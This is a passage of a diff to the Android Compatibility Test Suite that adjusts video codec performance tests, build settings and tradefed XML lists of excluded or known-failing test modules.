+        assumeTrue("For VNDK R and below, operating rate <= 0 isn't tested",
+                IS_AT_LEAST_VNDK_S || mMaxOpRateScalingFactor > 0.0);
+
+        assumeTrue("For devices launched on Android P and below, operating rate tests are disabled",
+                DEVICE_INITIAL_SDK > Build.VERSION_CODES.P);
+
+        if (DEVICE_INITIAL_SDK <= Build.VERSION_CODES.Q) {
+            assumeTrue("For devices launched with Android Q and below, operating rate tests are " +
+                            "limited to operating rate scaling factor > 0.0 and <= 1.25",
+                    mMaxOpRateScalingFactor > 0.0 && mMaxOpRateScalingFactor <= 1.25);
+        }
+    }
+
     public CodecPerformanceTestBase(String decoderName, String testFile, int keyPriority,
             float maxOpRateScalingFactor) {
         mDecoderName = decoderName;
@@ -152,7 +201,7 @@
             if (format.getString(MediaFormat.KEY_MIME).startsWith("video/")) {
                 extractor.selectTrack(trackID);
                 File file = new File(input);
-                int bufferSize = ((int) file.length()) << 1;
+                int bufferSize = (int) file.length();
                 mBuff = ByteBuffer.allocate(bufferSize);
                 int offset = 0;
                 long maxPTS = 0;
@@ -187,6 +236,7 @@
                                 tmpBufferInfo.flags);
                         maxPTS = Math.max(maxPTS, bufferInfo.presentationTimeUs);
                         mBufferInfos.add(bufferInfo);
+                        if (mBufferInfos.size() >= MIN_FRAME_COUNT) break;
                     }
                 }
                 MediaCodec.BufferInfo bufferInfo = new MediaCodec.BufferInfo();
@@ -205,7 +255,19 @@
         return null;
     }
 
-    int getMaxOperatingRate(String codecName, String mime) throws Exception {
+    // TODO (b/193458026) Limit max expected fps
+    static int getMaxExpectedFps(int width, int height) {
+        int numSamples = width * height;
+        if (numSamples > 3840 * 2160 * 2) { // 8K
+            return 30;
+        } else if (numSamples > 1920 * 1088 * 2) { // 4K
+            return 120;
+        } else {
+            return 240;
+        }
+    }
+
+    int getMaxOperatingRate(String codecName, String mime) throws IOException {
         MediaCodec codec = MediaCodec.createByCodecName(codecName);
         MediaCodecInfo mediaCodecInfo = codec.getCodecInfo();
         List<MediaCodecInfo.VideoCapabilities.PerformancePoint> pps = mediaCodecInfo
@@ -227,6 +289,32 @@
         return maxOperatingRate;
     }
 
+    int getEncoderMinComplexity(String codecName, String mime) throws IOException {
+        MediaCodec codec = MediaCodec.createByCodecName(codecName);
+        MediaCodecInfo mediaCodecInfo = codec.getCodecInfo();
+        int minComplexity = -1;
+        if (mediaCodecInfo.isEncoder()) {
+            Range<Integer> complexityRange = mediaCodecInfo
+                    .getCapabilitiesForType(mime).getEncoderCapabilities()
+                    .getComplexityRange();
+            minComplexity = complexityRange.getLower();
+        }
+        codec.release();
+        return minComplexity;
+    }
+
+    static int getMaxFrameSize(String codecName, String mime) throws IOException {
+        MediaCodec codec = MediaCodec.createByCodecName(codecName);
+        MediaCodecInfo.CodecCapabilities codecCapabilities =
+                codec.getCodecInfo().getCapabilitiesForType(mime);
+        MediaCodecInfo.VideoCapabilities vc = codecCapabilities.getVideoCapabilities();
+        Range<Integer> heights = vc.getSupportedHeights();
+        Range<Integer> widths = vc.getSupportedWidthsFor(heights.getUpper());
+        int maxFrameSize = heights.getUpper() * widths.getUpper();
+        codec.release();
+        return maxFrameSize;
+    }
+
     void enqueueDecoderInput(int bufferIndex) {
         MediaCodec.BufferInfo info = mBufferInfos.get(mSampleIndex++);
         if (info.size > 0 && (info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
diff --git a/tests/video/src/android/video/cts/VideoEncoderDecoderTest.java b/tests/video/src/android/video/cts/VideoEncoderDecoderTest.java
index 3b00a93..ea15e91 100644
--- a/tests/video/src/android/video/cts/VideoEncoderDecoderTest.java
+++ b/tests/video/src/android/video/cts/VideoEncoderDecoderTest.java
@@ -143,37 +143,6 @@
 
     private TestConfig mTestConfig;
 
-    // Performance numbers only make sense on real devices, so skip on non-real devices
-    public static boolean frankenDevice() throws IOException {
-        String systemBrand = getProperty("ro.product.system.brand");
-        String systemModel = getProperty("ro.product.system.model");
-        String systemProduct = getProperty("ro.product.system.name");
-        // not all devices may have system_ext partition
-        String systemExtProduct = getProperty("ro.product.system_ext.name");
-        if (("Android".equals(systemBrand) || "generic".equals(systemBrand) ||
-                "mainline".equals(systemBrand)) &&
-            (systemModel.startsWith("AOSP on ") || systemProduct.startsWith("aosp_") ||
-                systemExtProduct.startsWith("aosp_"))) {
-            return true;
-        }
-        return false;
-    }
-
-    private static String getProperty(String property) throws IOException {
-        Process process = new ProcessBuilder("getprop", property).start();
-        Scanner scanner = null;
-        String line = "";
-        try {
-            scanner = new Scanner(process.getInputStream());
-            line = scanner.nextLine();
-        } finally {
-            if (scanner != null) {
-                scanner.close();
-            }
-        }
-        return line;
-    }
-
     @Override
     protected void setUp() throws Exception {
         mEncodedOutputBuffer = new LinkedList<Pair<ByteBuffer, BufferInfo>>();
@@ -730,7 +699,7 @@
                 mTestConfig.mMaxTimeMs, MAX_TEST_TIMEOUT_MS / 5 * 4 / codingPasses
                         / mTestConfig.mNumberOfRepeat);
         // reduce test-run on non-real devices
-        if (frankenDevice()) {
+        if (MediaUtils.onFrankenDevice()) {
             mTestConfig.mMaxTimeMs /= 10;
         }
 
@@ -841,7 +810,8 @@
         if (isPerf) {
             String error = MediaPerfUtils.verifyAchievableFrameRates(
                     encoderName, mimeType, w, h, measuredFps);
-            if (frankenDevice() && error != null) {
+            // Performance numbers only make sense on real devices, so skip on non-real devices
+            if (MediaUtils.onFrankenDevice() && error != null) {
                 // ensure there is data, but don't insist that it is correct
                 assertFalse(error, error.startsWith("Failed to get "));
             } else {
diff --git a/tests/video/src/android/video/cts/WorkDir.java b/tests/video/src/android/video/cts/WorkDir.java
index c69e0f0..27dfa86 100644
--- a/tests/video/src/android/video/cts/WorkDir.java
+++ b/tests/video/src/android/video/cts/WorkDir.java
@@ -40,7 +40,7 @@
             // user has specified the mediaDirString via instrumentation-arg
             return mediaDirString + ((mediaDirString.endsWith("/")) ? "" : "/");
         } else {
-            return (getTopDirString() + "test/CtsVideoTestCases-1.1/");
+            return (getTopDirString() + "test/CtsVideoTestCases-1.2/");
         }
     }
 }
diff --git a/tests/vr/jni/VrExtensionsJni.cpp b/tests/vr/jni/VrExtensionsJni.cpp
index fadc5e9..db573eb 100644
--- a/tests/vr/jni/VrExtensionsJni.cpp
+++ b/tests/vr/jni/VrExtensionsJni.cpp
@@ -449,7 +449,7 @@
         desc.layers = 1;
         desc.format = AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM;
         desc.usage =
-                AHARDWAREBUFFER_USAGE_GPU_SAMPLED_IMAGE | AHARDWAREBUFFER_USAGE_GPU_COLOR_OUTPUT;
+                AHARDWAREBUFFER_USAGE_GPU_SAMPLED_IMAGE | AHARDWAREBUFFER_USAGE_GPU_COLOR_OUTPUT | AHARDWAREBUFFER_USAGE_CPU_WRITE_OFTEN;
         AHardwareBuffer* hwbuffer = nullptr;
         int error = AHardwareBuffer_allocate(&desc, &hwbuffer);
         ASSERT_EQ(error, NO_ERROR);
diff --git a/tools/cts-device-info/Android.mk b/tools/cts-device-info/Android.mk
index 20c64c2..ccc230b 100644
--- a/tools/cts-device-info/Android.mk
+++ b/tools/cts-device-info/Android.mk
@@ -46,7 +46,7 @@
 LOCAL_DEX_PREOPT := false
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts mts vts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests sts mts vts catbox
 
 include $(BUILD_CTS_DEVICE_INFO_PACKAGE)
 
diff --git a/tools/cts-device-info/jni/Android.bp b/tools/cts-device-info/jni/Android.bp
index 707a4d2..9469541 100644
--- a/tools/cts-device-info/jni/Android.bp
+++ b/tools/cts-device-info/jni/Android.bp
@@ -34,5 +34,7 @@
         "-Wall",
         "-Werror",
     ],
-    sdk_version: "current",
+    // this test suite runs on sdk 29 as part of MTS, make sure it's compatible
+    // (revisit if/when we add features to this library that require newer sdk.)
+    sdk_version: "29",
 }
diff --git a/tools/cts-tradefed/res/config/cts-exclude.xml b/tools/cts-tradefed/res/config/cts-exclude.xml
index b338399..5ea30e2 100644
--- a/tools/cts-tradefed/res/config/cts-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-exclude.xml
@@ -32,6 +32,6 @@
     <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:exclude-annotation:com.android.compatibility.common.util.CtsDownstreamingTest" />
 
     <!-- Exclude @SecurityTest tests from CTS. These are tested in STS. b/180417031-->
-    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:exclude-annotation:android.platform.test.annotations.SecurityTest" />
-    <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:exclude-annotation:android.platform.test.annotations.SecurityTest" />
+    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:exclude-annotation:android.platform.test.annotations.AsbSecurityTest" />
+    <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:exclude-annotation:android.platform.test.annotations.AsbSecurityTest" />
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index de90e52..5a372ca 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -134,6 +134,10 @@
     <!-- b/62481870 -->
     <option name="compatibility:exclude-filter" value="CtsNativeMediaAAudioTestCases android.nativemedia.aaudio.AAudioOutputStreamCallbackTest#testPlayback" />
 
+    <!-- b/192313064 , b/192984235 -->
+    <option name="compatibility:exclude-filter" value="CtsNativeMediaAAudioTestCases android.nativemedia.aaudio.AAudioTests#test_aaudio_mmap_testBasicMmapOutput" />
+    <option name="compatibility:exclude-filter" value="CtsNativeMediaAAudioTestCases[instant] android.nativemedia.aaudio.AAudioTests#test_aaudio_mmap_testBasicMmapOutput" />
+
     <!-- b/134654621 -->
     <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.AppConfigurationTests#testTaskCloseRestoreFreeOrientation" />
     <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.AppConfigurationTests#testAppOrientationRequestConfigClears" />
@@ -219,4 +223,24 @@
 
     <!-- b/135533962 -->
     <option name="compatibility:exclude-filter" value="arm64-v8a CtsWrapWrapDebugMallocDebugTestCases" />
+
+    <!-- b/192916298, b/192013761, b/193544088  CtsAppCloningHostTest from cts-on-gsi -->
+    <option name="compatibility:exclude-filter" value="CtsAppCloningHostTest android.scopedstorage.cts.host.AppCloningHostTest#testCreateCloneUserFile" />
+
+    <!-- b/192284443 -->
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.DisplayHashManagerTest#testGenerateAndVerifyDisplayHash" />
+
+    <!-- b/195659372 -->
+    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.NearbyDevicesRenouncePermissionTest#scanRenouncingAtEndOfChainNotesBluetoothButNotLocation" />
+
+    <!-- b/195582566 -->
+    <option name="compatibility:exclude-filter" value="CtsAutoFillServiceTestCases android.autofillservice.cts.inline.InlineSimpleSaveActivityTest#testAutofill_oneDatasetAndSave" />
+    <option name="compatibility:exclude-filter" value="CtsAutoFillServiceTestCases[instant] android.autofillservice.cts.inline.InlineSimpleSaveActivityTest#testAutofill_oneDatasetAndSave" />
+
+    <!-- b/194293021 -->
+    <option name="compatibility:exclude-filter" value="CtsPrintTestCases" />
+
+    <!-- b/194146521 -->
+    <option name="compatibility:exclude-filter" value="CtsPermission3TestCases android.permission3.cts.PermissionTest23#testNoResidualPermissionsOnUninstall" />
+
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-aosp-exclude.xml b/tools/cts-tradefed/res/config/cts-on-aosp-exclude.xml
index a9d2ac5..9b6250d 100644
--- a/tools/cts-tradefed/res/config/cts-on-aosp-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-on-aosp-exclude.xml
@@ -80,7 +80,6 @@
 
     <!-- b/73727333: CtsSystemUiTestCases failure flaky -->
     <option name="compatibility:exclude-filter" value="CtsSystemUiTestCases android.systemui.cts.LightBarTests#testLightNavigationBar" />
-    <option name="compatibility:exclude-filter" value="CtsSystemUiTestCases android.systemui.cts.LightBarThemeTest#testNavigationBarDivider" />
 
     <!-- b/80388296: CtsDevicePolicyManagerTestCases failure flaky -->
     <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testDisallowAutofill_allowed" />
@@ -91,21 +90,7 @@
     <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testPermissionPolicy" />
     <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testSuspendPackage" />
 
-    <!-- b/80407835: CtsServicesHostTestCases failure flaky -->
-    <option name="compatibility:exclude-filter" value="CtsServicesHostTestCases android.server.cts.KeyguardTests#testDialogShowWhenLockedActivity" />
-    <option name="compatibility:exclude-filter" value="CtsServicesHostTestCases android.server.cts.KeyguardTests#testTranslucentShowWhenLockedActivity" />
-
-    <!-- b/80284482: Flaky tests -->
-    <option name="compatibility:exclude-filter" value="CtsAlarmManagerTestCases android.alarmmanager.cts.AppStandbyTests#testAllowWhileIdleAlarms" />
-    <option name="compatibility:exclude-filter" value="CtsAlarmManagerTestCases android.alarmmanager.cts.AppStandbyTests#testBucketUpgradeToNoDelay" />
-    <option name="compatibility:exclude-filter" value="CtsAlarmManagerTestCases android.alarmmanager.cts.AppStandbyTests#testBucketUpgradeToSmallerDelay" />
-    <option name="compatibility:exclude-filter" value="CtsAlarmManagerTestCases android.alarmmanager.cts.AppStandbyTests#testFrequentDelay" />
-    <option name="compatibility:exclude-filter" value="CtsAlarmManagerTestCases android.alarmmanager.cts.AppStandbyTests#testRareDelay" />
-    <option name="compatibility:exclude-filter" value="CtsAlarmManagerTestCases android.alarmmanager.cts.AppStandbyTests#testWorkingSetDelay" />
-
     <!-- b/110260628: A confirmed GSI incompatibility (waiver) -->
-    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.DeviceOwnerTest#testCreateAndManageUser_DontSkipSetupWizard" />
-    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.DeviceOwnerTest#testSecurityLoggingWithSingleUser" />
     <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedDeviceOwnerTest#testKeyManagement" />
     <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedProfileOwnerTest#testKeyManagement" />
     <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testKeyManagement" />
@@ -128,15 +113,6 @@
     <option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.BuildTest#testIsSecureUserBuild" />
     <option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.BuildVersionTest#testBuildFingerprint" />
 
-    <!-- b/110405126: CtsPermissionTestCases flaky (due to SIM card setting) -->
-    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.TelephonyManagerPermissionTest#testGetDeviceId" />
-    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.TelephonyManagerPermissionTest#testGetImei" />
-    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.TelephonyManagerPermissionTest#testGetLine1Number" />
-    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.TelephonyManagerPermissionTest#testGetSimSerialNumber" />
-    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.TelephonyManagerPermissionTest#testGetSubscriberId" />
-    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.TelephonyManagerPermissionTest#testSetDataEnabled" />
-    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.TelephonyManagerPermissionTest#testVoiceMailNumber" />
-
     <!-- b/111967702: CtsSecurityTestCases irrelevant test cases -->
     <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.BannedFilesTest#testNoSu" />
     <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.BannedFilesTest#testNoSuInPath" />
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude-non-hal.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude-non-hal.xml
new file mode 100644
index 0000000..76e93f3
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude-non-hal.xml
@@ -0,0 +1,247 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Excluded non-HAL tests from cts-on-gsi">
+
+    <!-- b/182542290 Exclude non-HAL tests from cts-on-gsi -->
+    <option name="compatibility:exclude-filter" value="CtsAbiOverrideHostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAccessibilityServiceSdk29TestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAccessibilityServiceTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAccessibilityTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAccountManagerTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAccountsHostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsActivityManagerBackgroundActivityTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAdminPackageInstallerTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAdminTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAndroidAppTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAndroidTestBase28ApiSignatureTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAndroidTestBaseCurrentApiSignatureTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAndroidTestMockCurrentApiSignatureTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAndroidTestRunnerCurrentApiSignatureTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsApacheHttpLegacy27ApiSignatureTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsApacheHttpLegacyCurrentApiSignatureTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsApacheHttpLegacyUsesLibraryApiSignatureTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsApexTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAppBindingHostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAppCompatHostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAppComponentFactoryTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAppEnumerationTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAppExitTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAppIntegrityDeviceTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAppOpsTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAppUsageHostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAppWidgetTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAslrMallocTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAssistTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAtomicInstallTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAtraceHostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsAttentionServiceDeviceTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsBackgroundRestrictionsTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsBackupHostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsBackupTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsBionicAppTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsBlobStoreHostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsBlobStoreHostTestHelper" />
+    <option name="compatibility:exclude-filter" value="CtsBlobStoreTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsBlobStoreTestHelper" />
+    <option name="compatibility:exclude-filter" value="CtsBlobStoreTestHelperDiffSig" />
+    <option name="compatibility:exclude-filter" value="CtsBlobStoreTestHelperDiffSig2" />
+    <option name="compatibility:exclude-filter" value="CtsBootStatsTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsCalendarcommon2TestCases" />
+    <option name="compatibility:exclude-filter" value="CtsCalendarProviderTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsClassLoaderFactoryInMemoryDexClassLoaderTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsClassLoaderFactoryPathClassLoaderTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsClassloaderSplitsHostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsCodePathHostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsCompilationTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsContactsProviderTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsContactsProviderWipe" />
+    <option name="compatibility:exclude-filter" value="CtsContentCaptureServiceTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsContentTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsControlsDeviceTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsCppToolsTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsCurrentApiSignatureTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsDatabaseTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsDexMetadataHostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsHiddenApiKillswitchDebugClassTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsHiddenApiKillswitchWildcardTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJdwpTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJdwpTunnelHostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJniTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiAttachingHostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiAttachingTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRedefineClassesHostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1900HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1901HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1902HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1903HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1904HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1906HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1907HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1908HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1909HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1910HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1911HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1912HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1913HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1914HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1915HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1916HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1917HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1920HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1921HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1922HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1923HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1924HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1925HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1926HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1927HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1928HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1930HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1931HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1932HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1933HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1934HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1936HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1937HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1939HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1941HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1942HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1943HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1953HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1958HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1962HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1967HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1968HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1969HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1970HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1971HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1974HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1975HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1976HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1977HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1978HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1979HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1981HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1982HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1983HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1984HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1988HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1989HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1990HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1991HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1992HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1994HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1995HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1996HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1997HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1998HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest1999HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest2001HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest2002HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest2003HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest2004HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest2005HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest2006HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest2007HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest902HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest903HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest904HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest905HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest906HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest907HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest908HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest910HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest911HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest912HostTestCases" />
